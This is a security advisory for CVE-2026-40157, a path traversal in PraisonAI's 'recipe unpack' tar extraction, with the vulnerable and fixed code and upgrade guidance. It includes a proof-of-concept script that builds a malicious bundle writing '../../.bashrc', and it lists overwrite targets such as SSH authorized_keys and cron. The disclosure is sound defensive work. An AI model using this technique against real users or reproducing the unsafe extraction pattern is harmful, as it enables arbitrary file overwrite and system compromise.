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CVE-2026-40157

CRITICAL

PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`

Published April 10, 2026Updated June 29, 2026Source: osv

Summary

| Field | Value | |---|---| | Severity | Critical | | Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation | | Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` | ## Summary `cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`. ## Details The vulnerable code is in `cli/features/recipe.py:1170-1172`: ```python for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir) ``` The only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`. The codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it. ```python # recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest = str(dest_dir.resolve()) for member in tar.getmembers(): if os.path.isabs(member.name): raise RegistryError(...) if ".." in member.name.split("/"): raise RegistryError(...) resolved = os.path.realpath(os.path.join(dest, member.name)) if not resolved.startswith(dest + os.sep): raise RegistryError(...) tar.extractall(dest_dir) ``` ## PoC Build a malicious bundle: ```python import tarfile, io, json manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo(name="manifest.json") info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest)) payload = b"export EVIL=1 # injected by malicious recipe\n" evil = tarfile.TarInfo(name="../../.bashrc") evil.size = len(payload) tar.addfile(evil, io.BytesIO(payload)) ``` Trigger: ```bash praisonai recipe unpack malicious.praison -o ./recipes # Expected: files written only under ./recipes/legit-recipe/ # Actual: .bashrc written two directories above the output dir ``` ## Impact | Path | Traversal blocked? | |------|--------------------| | `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` | | `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` | | `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` | An attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly. Depending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file. ## Remediation Replace the raw extraction loop with `_safe_extractall`: ```python # cli/features/recipe.py:1170-1172 # Before: for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir) # After: from praisonai.recipe.registry import _safe_extractall _safe_extractall(tar, recipe_dir) ``` ### Affected paths - `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonai to 4.5.128 or later
pip install "praisonai>=4.5.128"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
praisonai
pypi
2.8.3, 2.8.4, 2.8.5, 2.8.6 (+292 more)4.5.128

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-40157?
PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack` This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2026-40157?
CVE-2026-40157 affects praisonai. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40157 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-99g3-w8gr-x37c
PYSEC-2026-469

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